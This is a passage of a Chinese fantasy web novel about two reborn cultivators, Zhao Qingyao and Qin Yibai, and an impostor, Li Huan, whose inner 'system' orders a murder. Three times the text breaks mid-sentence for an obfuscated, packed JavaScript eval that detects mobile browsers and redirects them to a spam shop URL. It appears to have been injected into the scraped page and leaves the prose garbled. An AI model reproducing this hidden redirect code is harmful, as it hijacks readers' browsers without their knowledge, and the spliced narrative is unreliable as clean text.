“这些不是普通的花,是明镜花。如果你也有像我一样失去的记忆,就比如说一个人,你明明记得她存在过。但你和她之间的过往,却被遗忘掉了。那借助此花的花香,你便能想起来一些往事。” 莫名其妙的话。 “我怎么会有失去的记忆……”赵轻遥正欲反驳,却又猛然想起来了一件事。 她是受到流光蝶的指引到达此处的。在此之前,曾到过一个幻境。 幻境中,她曾见到了与秦倚白的另一段往事。 他说她体内有过破碎的剑骨。 幻境破碎时,她是闻着明镜花的花香味苏醒的。 此事越想起来,越是觉得不对劲。他们即将要离开此处,姜元此举,简直就是明晃晃的试探。 如果起先只是怀疑,那现在…… 赵轻遥有些说不出话来。魂契中过剩的灵气搅得她神识发痛,她决定换一种态度再问一下:“你想要说什——” 话音未落,一股巨大无比的冲击波从魂契的中央弹射开来,将两人的神识直接弹开。 遍布在魂契中央五颜六色的神识,也在一瞬间四散开来,各奔东西,似漫天仙女散花。 成了! 赵轻遥还来不及做出任何反应,一时间只觉得有些高兴。她不禁向着地面的方向感知去,感应到盈满前辈们神识和魂灵的榕树枝,变得空空如也。 现在终于只是一根普通的树枝了。 四周的魔气快速地消散,来自魂契的灵气慢慢飘散至整个空间。可她还来不及高兴一刻,却又很快意识到了另一件的事情。 坠在魂契的上的神识都来自已亡故的修士,并不能很好地控制的方向。以至于眼前的几个光球,拐弯抹角地冲着她来了。 亡灵更不可亵渎。 她想回到自己的□□中,却发现在空中乱窜的神识过多。无论她怎么走,都有可能撞上。 思考着路径的同时,她便连续已躲过了几个神识。 赵轻遥对魂修一窍不通,更不擅操纵神识。这样的状态不能用剑,基本也用不了什么术法。她被迫在空中窜来窜去,第一次感觉到自己像一个被踢来踢去的蹴鞠。 憋屈至极。 可恶,实在是可恶。 神识的疲惫、连续的躲闪让她忍不住有些生气。直至下一秒,金色的圆圈光芒将她包裹时,她还没从刚刚的情绪中抽离开来。 “你又要做什么?” 蝴蝶状的神识悬停在星芒的顶部。周身洒落的金色粉尘,汇集成了一个略带浅金色颜色的球形屏障,将她包裹在内,并未触碰她分毫。 疲惫的神识,终于在此刻得到了短暂的喘息。 “保护好你的神识,好好在这里呆着。一起来的,就一起出去。”姜元淡淡地说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12946457|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你……”她来不及多说什么,就直接体会到了被拽飞的感觉。 球形屏障应该是阻碍神识相触碰的结界,无论她怎么磕碰,都始终离外侧的屏障保持着一定的距离。 蝴蝶虽只有半边翅膀,但却格外地灵敏,躲闪的速度比她原本自身的速度快上很多。直直地向着两人停留在原地的身躯而去,从一群神识的光球中极速地飞过,丝毫不沾身。 赵轻遥被晃得有些晕,想问的话仍梗在喉头,什么也说不出来。 吐是不可能吐的,神识也没有吐这个功能。直至蝴蝶将星芒送到了地面上时,她还是有些没回过神来。 她有句话不知道当说不当说。 星芒的棱角过长,以至于在被甩出球形屏障时,有那么一秒,极其轻微地触碰了一下。 那种感觉很是奇妙,也十分地难以形容。和在空中被甩得晕晕乎乎的感觉不同,像是一只爪子,轻轻地挠了一下。 不疼不痛,就是有些发痒。神识应该是不会觉得痒的,但痒意如潮水般涌来,又如潮水般退去,如此几次,直到平息。 这让她更加地难受了起来。 蝴蝶停栖在她的身侧,也并未着急回到自己的身躯中。而是散发出无数的黑影,有些急迫地吞噬着仅剩的一点血雾。 “好些了吗?”他没有多说其他的什么,只是这样问道。 “没死。”赵轻遥有气无力地回答到。 这玩意比练剑难受多了。她宁愿每天寅时起来练剑,也不愿意再经历一回这样的事情了。 “我们别在外面呆着了,先各自回各自的身体里。” 再来算一下明帐。 她在方才已经想明白了。 所有的不安不应该仅仅来源于刚刚姜元对她的试探,而是在第八峰的这段时间下来,让她在意的地方实在是有些多。 眼睛、流光蝶、榕树枝、魔修、明镜花…… 她比任何人也不希望是那个答案,但现在,她也不得不相信。 姜元说好,赵轻遥便也没有再多说什么。 神识和身躯结合是需要一定的时间的。她刚刚飘至自己的身躯前,下一刻,地动山摇,来得如此猝不及防。 周身的幻境再次变换,倒退成了她来时的那条道路。只不过所有黑气都已消散,道路的两侧正洒露着些微的光芒。 魂契封印已成,第八峰的确也没有存在的必要了。 神识归体,姜元已经消失不见。手边的聚灵灯仍闪烁着剩余的亮光,逢春也现出的完整的、纤细的青色剑身。 赵轻遥摸向自己的口袋。 还沾着血气的几株明镜花,就这样安静地躺在那里。 她咬了咬牙,沿着光亮向前走去。 她知道姜元会在前面等她。他是个聪明人,对她的试探,不可能是平白无故的。 他大概,也在猜测什么。 道路的尽头,是一扇充满了白光的门。 衣物上绣有秦家云纹的少年对门而立,只给她留下了一个看起来那般孤寂的身影。 赵轻遥没有再犹豫。 逢春剑的出招很快,架到了那人的脖颈上。他没有躲闪,没有移动,甚至没有回头。 “秦倚白,你是故意的,对吗?” 死一般的沉寂中,她听到自己冷冷的声音响起。 22.陷阱 “你是说,秦师兄想要见我?” 黎欢紧紧攥住衣袖的一角,面上忐忑不安望向来人:“当真?” 绚丽多彩的火烧云铺满了试仙峰的半边天空,余晖的照耀下,万物皆披上了一层红纱。眼前背光而立的黑影高大壮硕,面上并无什么过多的表情波动。 见她发问,也只如牵线木偶般,不冷不淡地重复了一遍自己刚刚说过的话。 “我们家少主幼时便拜了云掌门为师。虽因身体原因,多年来未正式地入璇云仙宗,但看到门下又有了新的师妹,内心还是高兴的。本想请云掌门和明珠姑娘您好好吃一顿饭,但既然云掌门有急事回到了璇云仙宗,我就来问问明珠姑娘您看看您自己赴宴可否方便呢?” 黎欢眨了一下眼,用右眼万华之眼望去,黑影的胸口上,“逐影”和“秦家管事”几个大字正在闪闪发光。 不会有假。 机会来得太快太好,太不可思议。黎欢深吸了一口气,努力克制住内心的激动,重新露出了标志性的甜甜微笑:“剑道大会再过三天就结束了,师兄这个时候邀请我,我自然是愿意的。” 来试仙峰前,系统便多番催促。她心中紧张,还是想尽快攻略秦倚白的。 在之前的四天中,她想尽一切办法创造巧合,甚至明里暗里地和云弄潮提起过,自己想见一下这位未正式拜入仙门的师兄。 但都失败了。 系统起先还会出声,但她失败的次数多了,便也不说话了。 黎欢的内心其实很害怕。 她当了一段时间的黎明珠后,再也不想再当黎欢了,更不想失去万华之眼。眼见着剑道大会接近尾声,她心慌得越来越厉害,甚至连觉都变得很少。 都是黎明珠,她坚信自己又能力让秦倚白爱上自己,却又苦于没有良机。 此刻,当这个机会来临时,她反复告诫着自己,不能错过。 “那……我们什么时候出发?”黎欢期期艾艾地开口。 “现在就行。”逐影的声音格外冷淡,转身就走。黎欢连跑几步,迈着三两步伐紧紧跟上,却也不觉得冒犯。 云弄潮素爱各种奇珍花草,仙盟投其所好。在给璇云仙宗弟子布置住所时,连回廊中都盈满各种名贵花草的馨香。 逐影走得飞快,丝毫没顾及她这位客人的感受。她提着裙摆低头小跑着,根本没有注意到,转角处另一个人同样神色匆匆地走了过来。 咚—— 额头碰额头的声音,格外清脆。 突如起来的疼痛,让黎欢没忍住尖叫出声。她被撞得接连后退了好几步,捂着额头跌坐到了地上,眼泪在眼眶中打了几个转。骂人的话已经冲到了舌根,又被她硬生生地憋了回去。 黎明珠不是黎欢,黎明珠善良又大度,黎明珠不能生气,黎明珠更不能骂人。她在心中默念了几遍自己如今的身份,方才泪眼盈盈地望去。 与她相撞的人,是一名年纪与她相仿的绿衣少女。少女身着绣着流云白鹤的窄袖对襟外套,长裙铺散一地,正蹲在地上龇牙咧嘴地揉着额头。编入发辫的大红色飘带,随着她的动作轻微地晃动着。 一把青绿通透的长剑,正静静放在她的身侧。 少女应是揉到不疼了,目光锐利地骤然抬头。却又在与黎欢的目光对望上一瞬间,眸光沉静了下来。四目相对,两人便就这样愣在了原地。 “少有见到明珠姑娘那么着急的时候,有被撞疼吗?” 最终,是少女率先打破了沉默。 她捡起一旁的长剑,起身理了理裙摆的灰尘,向黎欢伸出了一只手。 黎欢犹豫了片刻,轻轻回握住了那只手,被少女拉着慢慢起身。 她的手心很凉,带着习剑之人惯有的薄茧。黎欢没敢用力握住,站起身后,便迅速将手缩了回来。 “谢谢赵……谢谢轻遥姐姐。”她小声地说。 不知不觉中,她已经习惯了万华之眼掌控一切的存在。当遇到这位万华之眼无法看透的人时,她内心着实有一些害怕。 虽然也不知道自己在怕些什么。 赵轻遥虽受黎欢的邀请搬来了第四峰。但前几天,黎欢连她的人影都没见到半个。 听师尊说,赵轻遥剑道天资,身怀剑骨,是闭关多年的泽霄真人唯一的亲传弟子。若她出身修仙世家或门派,定有机会坐上剑道天下第一的尊位。 若非她尚未及笄,不能参加此次的剑道大会。否则这剑道魁首之称花落谁家,也难以说清。 只可惜…… 黎欢知道师尊在可惜什么,可惜赵轻遥的凡人出身给她拖了后腿罢了。 任凭炼心阁富甲天下,可凡人就是凡人。与生来便带有天脉的仙门子弟和修仙世家子弟,相隔天壤。 凡间的翠鸟再怎么出类拔萃,也成不了天界的凤凰。黎欢曾是这样,如今赵轻遥也是这样。她害怕赵轻遥,但又觉得她可怜。 世上像黎明珠那般好运的人,能有几个? 所以她绝不能失去黎明珠的身份。 绝不能。 “没有事的话,我就先走了。”黎欢错开赵轻遥的目光,瞥了一眼站在远处的逐影,微如蚊鸣般道了个别。 黎明珠是个温和的人,很少大声说话。黎欢从前是个说话很大声的人,如今,她却记得很牢。 赵轻遥没有说话,点点头,侧身为她让出了一条路。 黎欢向前走了几步,却又很快地停下。 她回头望了赵轻遥一眼,眼见着赵轻遥站在原地整理衣裙,又很快扭过了头。 盛夏暑热,她却如坠冰窖。涔涔冷汗从她的后背上冒了出来,微微打湿了她梦寐以求的内门弟子服。 “再给你一个额外任务,杀掉赵轻遥。” 几日未见的系统再次出现在她的脑中,娇柔妩媚的女声慵懒,像是刚睡醒,却又带着无尽的诱惑:“和攻略秦倚白的任务并列,随你完成哪一个都行。我只给你一年的时间,一年内要是没什么进展,你就别当这个黎明珠了。” * 赵轻遥也没想到,自己会和黎明珠撞了个正着。 撞得还挺疼。 她被撞得有些生气,但看到是黎明珠,气便半分都发不出来。承黎明珠的恩才没住到第一峰的烂房子,即便知道她是个冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982426|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌货,便也还是…… 罢了。 她垂头拍了拍身上的灰,再抬起头时,已不见黎明珠的身影。 方才眼见着黎明珠神色匆匆,也不知道她是要去哪里。不知她可否清楚,云弄潮已回璇云仙宗,她的护身符便已失效。敢在黄昏时分这样贸然出去—— 不知是有恃无恐,还是羊入虎口。 赵轻遥凝望着黎明珠消失的地方,叹了一声。 她从第八峰回来,便想着用离心术去探测三个月内诸何和郑玄二人的记忆。奈何从第八峰带回来的千年浮妄草只剩下了半株。前世是有他人相助,才将仅剩三株浮妄草炼成了数十颗丹药,将药效发挥到了最大。 她对炼丹一窍不通,但也知道直接服用浮妄草的效果会大打折扣。保险起见,她决定只去探查其中一人的。 离心术需要对方在陷入深眠时探查。奈何诸何太过狡猾,明明同住第四峰,她却始终没有找到机会。 郑玄是个蠢货,即便小心防范,还是被她找机会打晕了。 在他的记忆中,与其说他是重生的人,不如说他是做了一场荒唐的梦。 赵轻遥重生之后的种种倒霉事,都和郑玄有着关系。尤其是参加不了剑道大会的仇,她现在都还惦记着呢。 只不过,蠢货就是蠢货。 他把这些事情全盘和秦肆诸何托盘而出,甚至还把前世要杀他的人,认成了如今的黎明珠。 他们势必要对黎明珠动手的。一旦黎明珠出了事情,那她的机会就来了。 毕竟在剑道大会这种人员众多的场合,死一个人也是死,死两个人也是死。 凶手都只会归结到同一个人的头上。 郑玄是留不得了。 赵轻遥这般想着,慢慢地转身向屋内走去。 渔翁得利前,她非常需要好好地休息一下。 极度的疲惫后,廊中的花草馨香冲入鼻腔,四肢百骸都流淌过一阵舒适的凉意。第四峰的房间算不上秦家那样的奢华,但胜在舒适干净,是个休息的好地方。她打了个哈欠,懒懒地推开了房门—— 正对房门的圆桌上,赫然摆放着一束鲜艳至极的明镜花。 赵轻遥不敢置信地揉了揉眼睛。 定是最近太累,出了一些错觉了。秦倚白塞到她口袋里那些明镜花,她不是早就丢干净了吗? 她啪地一声狠狠拉回房门,再重新打开。 不是错觉。 插着明镜花的花瓶很是漂亮,修长对称,整整齐齐。它的材质很眼熟,怎么看都这么像是她离开第八峰前狠狠甩到秦倚白怀里的那块狐妖瓦片捏制。 花瓶下,正压着一张字迹工整的纸条。 赵轻遥咬牙切齿地抽出,晃眼一瞥,便见到了明晃晃的一行字: “赵姑娘,你也希望重生之事,是属于我们两人的秘密吧?” “秦倚白!”她愤怒地将纸条揉成一团,远远地丢了出去。却又觉得不解气,将花瓶中的明镜花摔了一地: “你这个不要脸的狗东西,敢来威胁我?” 她就算死在这里,也不会去找他的,绝不! 23.陷阱(二) 夕阳日落,浓黑的色彩从天穹中央开始向四周蔓延,倒像是九重天的仙人在幕布上打翻了一碗墨。 白天些许的暑热还未完全褪去,夜晚的凉风已经携着远处街道上喧闹的人声徐徐吹来。 赵轻遥慢慢走在通往第七峰的廊桥上。微风扬起黑色斗篷的袖摆,她的整张脸都藏在了宽大帽檐的阴影中,分辨不出神情。 那张充满威胁和激将意味的纸条被她紧紧捏在手中。反复的揉捏下,纸条的边缘已出现了快要破损的迹象。 她还清楚地记得,在第八峰与秦倚白分别时的情景。 * “赵姑娘,我没有故意骗你。姜元和我,本身就是同一个人。反倒是你谎称自己是黎明珠,倒是一开始就防范着我呢。” 散发冷冷杀气的剑刃抵在脖颈上,秦倚白却说得不紧不慢,没有半分慌张的神态: “不如让我讲讲你的故事吧。” “赵轻遥,炼心阁赵暄夫人的独女,泽霄真人的亲传弟子。如果我没有记错的话,前世这场剑道大会的魁首,本来就该是属于你的。” “你十五岁时,暄夫人被笃定与魔修勾结,害得赵家满门覆灭。恰逢泽霄真人因伤入关,你陪伴左右。所以整个赵家,独剩你一个活口。后来你四处求助无门,便连当时你的未婚夫所在的洛家,都弃你不顾。” “再后来,你在心灰意冷之下,前往泽霄真人的闭关之地,藏身十年。所有人都以为你死了,直至十年后泽霄真人出关,才洗刷掉了赵家昔年的冤屈。” “你重生回来,不就是为了阻止这一次再次发生吗?” “秦倚白,你和我说这些废话,是为了什么呢?” 良久的沉默后,赵轻遥像是听说了什么好笑的事情一般,轻笑开口: “我早就该猜到的,中州内的世家子弟除了你,怎么会有第二个魔修存在。谁会放下世家子弟的尊贵地位,偏要用堕入魔道这种方式来证明自己的本事呢?” “我不管你重生后是有什么目的,但你就不怕我将你入魔之事捅出去,让所有人都知道你是个随时会弑杀亲族的疯子。到时候,秦家也未必会保你。” “雷刑山天罚的滋味,怕是不好受吧?” 姜元和秦倚白相像的地方太多,赵轻遥其实早就隐约猜到了答案,是她自己一直不肯确认。总幻想着,能交到一个新的朋友。 她不该如此天真。 秦倚白不是个好人,姜元更不可能是个好人。秦倚白前世用姜元的身份帮赵家说话,或许只是因为那么些许的愧疚而已。 他明明白白地清楚,自己服下的灵药中,有着赵家五百多人的鲜血。 赵轻遥努力控制着自己握住逢春的手不要过于颤抖,但喷涌而来的恨意,还是将她整个人埋没。 “是不太好受,挺疼。” 秦倚白坦然地点了点头,似是陷入了长长的回忆中。逢春已在他的脖颈上划出了丝丝血痕,但他并不在意,只是侧头注视着赵轻遥的双眼。 光打在他漂亮到有些过分的精致眉目中,恍若神明降世: “只可惜,除了这件事,前世其他的许多事情,我都已经忘记了。” 谁信? 赵轻遥嗤笑了一声,并不打算接这个话头。 秦倚白顿了顿,继续说了下去: “你讨厌秦倚白前世夺了你剑道魁首的称号。所以从今生见到我的第一面起,便执着于和我比一场。” “我知道你讨厌我,可以阻止赵家覆灭没那么简单,或许我可以成为你的助力。” “所以你能不能考不考虑一下,和我联手?你帮我找我失去的记忆,我帮你阻止赵家覆灭。” 持逢春的手猛然一颤,脖颈上蜿蜒的鲜血,顺势流了下来。 赵轻遥简直不敢相信自己的耳朵。若不是秦倚白的语气太过于诚恳,她甚至怀疑自己听错了什么。 天大的笑话。 “你要不要听听你在说些什么。你入魔是把脑子也弄坏了吗?”她猛然抽回逢春,厉声喊道。 压制了两世的恨意、被人欺骗的愤怒终于在此刻迸发。 她从来没有这般想杀掉一个人。即便知道对方实力不俗,与他真的动起手来,只会斗得两败俱伤。 但她还是那样做了。 铺天盖地的杀气从她的眼中溢出,方才升过境的天脉不知痛楚吸吮着周身的灵气,化为无数内力汇聚于她的掌心。 撼天动地般巨大的灵气迸发而出,用尽全力掐住秦倚白的脖颈时,她甚至能听到指骨在体内嘎吱作响的声音。 没有剑术,没有阵法,只有单纯的愤怒、憎恨—— 与那股让她急躁的、无法严明的情感。 方才割裂的口子没有那么快地愈合,鲜血顺着她的指缝流出。秦倚白被她推得连退几步,头颅重重地磕在了石壁上,咚地一声闷响。 他总是这样,让人看不透他的情绪。 甚至没有愤怒、没有震惊,更没有反抗,反倒是伸手搭在了赵轻遥颤抖不已的冰凉双手上。那双明亮如星的眸子垂下,嘴角竟弯出一丝清浅的笑意。 他被那样紧紧地掐着,说话说得很慢:“你想杀我,为什么不用剑?是嫌脏吗?” “对。”赵轻遥回答得很是干脆,“你的血不配沾到我的剑上。” 她在第八峰见过了秦倚白伤口愈合的能力。只要他想,逢春未必能给他造成什么致命伤。 “你认得辟心,也认得魂契。我阿娘当年为了封住神魔之墟的缝隙,祭出生命创出的魂契阵,倒被你们秦家坐收渔翁之利!” 她紧紧盯着秦倚白的双目,声音清脆而嘹亮: “就只因为你是高高在上的秦家少主,你的命是命,炼心阁所有人的命就不是命了!” 小荷的手最是巧,梳出的发髻最是好看。她说年底想要回家,青梅竹马的表哥给她准备了一台大花轿; 王叔的栗子饼香甜软糯最是好吃,他的老母年老体弱,下个月她就也搬来赵家和儿子一起居住; 阿诚话不多,铸剑天赋却极高,挣得钱全部寄给了他那在南州读书的幼妹。那个妹妹赵轻遥也见过,是个好苗子,或许以后也能拜入仙宗寻仙问道…… 但他们都死在了那场浩劫中,甚至连尸身都难以辨认出来。 魂灵与血肉,化做了那颗能治世间百病的丹药。 魂魄消散,他们甚至无法化身为厉鬼,也无法进入转世轮回。午夜梦回的每一场噩梦中,赵轻遥不知多少次梦到他们血肉模糊的脸,哭着向她求救。 但她谁也没救下来。 她也曾想过,秦倚白或许无辜,他不知那颗丹药的来源。但她知道姜元和秦倚白是同一个人时,她便明白—— 他从一开始,便什么都知道。 姜元的求情不是来自善心,而是来自愧疚。 重重叠叠压过的真相,逼得她发疯。 “你坐享着你父亲为你带来的好处,啖着赵家上上下下五百人的鲜血骨肉,分明什么都知道,又装作一副无辜的样子给谁看?” “赵轻遥。”秦倚白叫她的全名,声音平静而缥缈: “我没有生过病,从来都没有。” “我没有吃过那颗汇集了赵家五百人性命的丹药。而且就算没有我,那颗药也会被造出来。” “前世的事情,真的很抱歉。你要是不信我所说的,或是杀了我这个所谓的元凶能让你觉得好受些,那你便杀了我吧。” “但我还是要告诉你一个秘密。我会死掉,可秦倚白永远都不会死。” * 赵轻遥从回忆中抽出身来,低头看着自己掌心的脉络。 几天前,这双手曾有机会了结秦倚白的性命。 但她放弃了。 秦倚白的话说得真真假假,但却有一句让她格外在意。 什么叫做没有他,这颗药也会被造出来? 整个仙灵界,都知道秦家少主生来便带有体弱之症。秦肆千方百计地谋划,不就是为了治好秦倚白的体弱之症吗? 她揉了揉额心,继续向前走着。 冷静下来想想,秦倚白的那番话,再加上第八峰内魂契上那来历不明的辟心,让她越来越怀疑—— 参与谋害赵家的不止那三个人。 她在极端愤怒下克制住了体内奔涌的灵气,没有当场掐死秦倚白,却也没有再给他什么好脸色看。她不怕惹祸上身,但也不想再多看到他一眼。 但秦倚白还敢来拽她的衣袖,是她万万没想到的。 他脖颈间的伤口已经迅速地结痂,露出了新生的皮肤,衬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008289|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得刚刚被掐出来红色血印更加红得明显: “多谢赵姑娘不杀之恩,方才我和你说的话,句句属实。” 他说得云淡风轻、满是诚恳,可落到赵轻遥的耳中,却又是一番讽刺之意。 仿佛在提醒她,她方才是要杀掉一个未曾挣扎和反抗过的人。 “合作之事,烦请姑娘再考虑一下呢?” “你当真是疯得不轻。”赵轻遥冷冷开口,用力地将衣袖揽了过来。 一抽一拉间,狐妖瓦片便这样跌落到了两人之中。清脆的落地声响,在夹道中反复回荡。 秦倚白低头看了一眼,将其捡了起来,伸手递给赵轻遥: “这是个好宝贝,赵姑娘还是把它收好为妙。仙灵界中,第八峰这样地界怕不止一处。它或许能感应到其他地界的存在,日后有可能会派上用场。” 若真的是姜元给的,赵轻遥或许还会好好地收起来。 只可惜不是。 “你自己留着吧,爱给谁给谁。” 她瞄了一眼,只觉得气打不过一处来,转身便要走。走了两步,却又想起了另一件事。 “这个,也还给你。你自己失忆了就多闻闻,我才不需要这个东西。” 明镜花的花束,一样拍回了赠花之人的怀里。 秦倚白将花束和瓦片一同拢入袖中,倒也不恼:“我会找到你想要的东西的,到时候,我们就再谈一谈吧。” 赵轻遥头也没回:“那你就真的高估你自己了。” “那可不一定。” 直到现在,赵轻遥才明白秦倚白说的那句“不一定”是什么意思。 他不是傻子,当然能猜到正常的邀请,她不会赴约。只有留下那张威逼激将的纸条,才能把她钓过来。 赵轻遥虽威胁过要把秦倚白入魔之事捅出去,但她现在也清楚。若是两人的重生之事同时暴露,该担心的绝对是她,而不是秦倚白。 他的处境和身份,要比她现在好上许多。 纠结了一阵,赵轻遥还是决定赴约。 她倒要看看,秦倚白能拿出来什么她想要的东西。 以防万一,她还是将自己裹得严严实实。宛如一道灯下的黑影,站在黑暗中,谁也认不出来是谁在那里。 穿过第七峰白日里人声鼎沸的比试场,再往里走。秦家不爱点灯,便连宅邸外也是如此。暗黄的灵灯将本该宽敞明亮的道路照得昏暗可怕。巍峨伫立的府邸隐没在无星无月的黑夜中,像一只匍匐的巨兽。 隐隐的不适感,是在这里从脚底往上冒的。 她越是靠近,便越觉得有些不安。 大约太安静了,安静到有些可怕。远处的热闹人声已经完全消散,走到这里,便宛如跨入了另一个世界。 再过一道人造桥,便能到达秦家的府邸前面了。 赵轻遥在桥拱上停顿了一下,转头向着来时的路伸了一下手。 是了,她的第六感并没有出错。 来时本无一物的半空中,在她伸回手时,出现了一道近乎透明的屏障,阻碍着任何事物向来路前行。 有点意思,这是一个只能进不能出的结界。 秦倚白到底想做什么,把她骗来这里,是想着她不和他结盟,就把她困死在秦家? 赵轻遥轻笑之声,只觉得十分有趣。 下一刻,女子由远至近、慌乱到带着哭腔的尖叫声,猝不及防地灌入了她的耳中。 一个云钗松乱的少女从黑暗中竭力地奔跑而来。她跑得太快太猛,几乎是提着裙摆向前扑去,一个趔趄,便摔倒在了桥前。本精致华美的璇云仙宗内门弟子服染上了尘土,不复往日里光华流转的模样。 她摔得重,却又很快地翻身而起。自然也没有看到,黑暗的桥上还站着一个人。 她没看到,但赵轻遥看得很真切。 黎明珠? 郑玄想害她,竟然敢把地点选在这里? “你给我滚开!要敢碰我一根手指头,等我师兄待会出来了,你就死定了!”黎明珠向后惊恐地缩了两步,对着空无一物的空气,近乎崩溃地叫喊着。 赵轻遥将毫不犹豫地将手放到逢春上,警惕地顺着黎明珠的目光望去,却又疑惑地皱了皱眉头。 那里空空如也,哪有什么脏东西? 24.陷阱(三) 郑玄这几天的心情很差。 先是剑道大会才开场一天,驻守璇云仙宗的弟子便做出来了些胆大包天的错事,惹得云弄潮带了诸何匆匆赶了回去。 诸何原本答应好了帮他对着黎明珠下手,但此事之处,便也只说过几天再联系。 再是他的睡眠时间变得长短不定,走到路上都能莫名其妙地睡过去,甚至开始反复做有关前世的噩梦。 黎明珠的脸在梦中变得时而清晰,时而模糊。每回大汗淋漓地苏醒时,在梦中被刀尖反复划过、血尽而亡的身体,都止不住地颤抖。 不知是不是错觉,每次做完梦后,他都感觉自己比之前弱了一些。 当真是荒谬。 早知道,他就不该将希望寄托于秦肆和诸何,应该像前世那般,提早将那位大人唤出来以做商议。 那位大人为他制服的血雾,又衷心又勇猛。不比这两人位高权重的白眼狼强上数十倍,利用完他就把他丢到一旁。 只可惜,大约是试仙峰上灵气太盛。他无论怎么尝试,都无法将那位大人呼唤出来。 一步错,步步错,郑玄的心中更愤怒。 除了他以外,没有人把他的命当做一回事! 所以,当他半夜睁眼时,看到站在他床头的逐影时,满腔的惊怒随着被摔碎一地的瓷器一并发泄了出来: “回去告诉你们家主,我虽人轻言微,但我没有功劳也有苦劳!要是再不派人来帮我,就请你们另谋高就吧!” 床侧穿着清凉的美人虚影晃动了一下,很快地钻回了驻影石中去。 好不容易一个有美人相伴、还不做噩梦的夜晚就这样被破坏了,郑玄有些咬牙切齿。他当然知道这个完全效忠于秦肆的奴役脾气阴毒、喜怒无常,但他此刻,的确顾不得那么多了。 黎明珠一日不死,他心口上的那把剑便悬着一日,惶惶不得安生。 “我就是奉家主的命令来的。” 逐影开口,声线如水井般平静无波:“家主已经知晓了诸堂主的计划,奈何诸堂主提前回到了璇云仙宗,便派我来帮助你。” 郑玄的怒火消了一些下去:“怎么帮?” “明日的黄昏时分,少主会将黎明珠带去第七峰内秦家的地界中。到时候,我会将外部的结界也会一并准备好。你要杀她,就不要错过这个机会,秦家会替你善后……” 逐影说着说着,声音便逐渐带上来一丝颤抖。深棕色的瞳孔在那一瞬间泛起了一丝错愕与惊恐交织的血红,却又很快地消退了下去。 沙哑的嗓音再次平静下来:“怎么样,你意下如何?” 郑玄没有睡醒,双手相叉一下又一下地抠着头皮,并没有注意到逐影方才的变化:“那就按照你说的做……不对。” 他狐疑地抬起了头:“你们少主,知道这件事情吗?” 秦肆是为秦倚白求药才与他们合作的。逐影虽是秦肆的人,却一直跟在秦倚白身边保护他。 郑玄生平最瞧不起这种养尊处优的少爷。被保护得太好,反而心慈手软。万一他知道了父亲要做什么,怕是会节外生枝。 “少主,怎么会知道这种事情呢?”逐影停顿了一下,扯出了一个似笑非笑的笑容:“这样说好了,那我们明天就动手吧。” 他没有给郑玄什么选择的机会。 郑玄也不想再将这件事拖下去了。他急迫地、极其渴望地、想要看到黎明珠的尸体。 * “啊——” 一声更加凄厉的尖叫声后,黎欢近乎是哭着向着退去。 她勉强将青羽笛紧紧地攥在手上,似是要准备施法。但下一刻,青羽笛便在空中抛出了一个巨大的弧线后,落入了一旁的草丛中。 她的脸已有些发紫,双手地在脖颈上胡乱地抓挠着,一串串眼泪如断线的珠子般往下掉。 “救我!救我!”她在大脑中近乎绝望地对着那片雾状的系统嘶吼着,哭喊着。 万华之眼中,周身围着一圈红色描边的透明巨蟒,正在一步步地用粗大的尾部缠上她的脖颈。 “你确定要用你攻略云弄潮获得的、仅有的五十点积分,换我帮你杀了这个东西吗?”系统的语气几分嘲讽,几分怜悯。 “我、我……” 黎欢心中叫苦不堪。 攻略他人或是完成一些额外的任务,确实可以用作交换系统物件的积分。但没想到,这么快就用出去了。 她今夜赴约,与秦倚白吃饭很是愉快。但没想到才走出秦府,便遇到了这个东西。 透明的巨蟒。 这种变异的妖兽,为什么会出现在这里?若不是她有万华之眼,早就交代在这里了。 她本以为秦倚白会来就她,在遇险的最初,就将云诀阵早早地用掉了,想要叫人来救她。 但一炷香的时间过去,别说其他离得更远的弟子了,便连秦倚白都压根没出现。 “有趣,此处被人封了结界,竟是专门压制住云诀阵的信号的。”系统当时的声音很是兴奋:“看起来,就是冲着你来的。” 冲着她来的,她得罪过谁了? 黎欢不敢和巨蟒争斗,她前世只是一个外门弟子,又何尝见过这样的场面。崩溃之下,只能没命地向前跑去,可眼前,她实在是有些跑不动了。 红色的雾气沿着巨蟒与脖颈间残余的缝隙慢慢攀上,只那一瞬,黎欢身躯一沉,感受到了久违地松快之感。 “怎么不说话,考不考虑让我来帮你呀?”系统循循善诱,似乎很期待她的回答。 黎欢还在犹豫。 下一刻,红色的雾气骤然消失,窒息感如潮水骤然涌来,将她整个人淹没。 “那你便慢慢想去吧,想好了,再来和我说。不要还没成为黎明珠,就先死在这里了。”系统娇笑一声,迅速地消失不见。 黎欢仍没有说话。 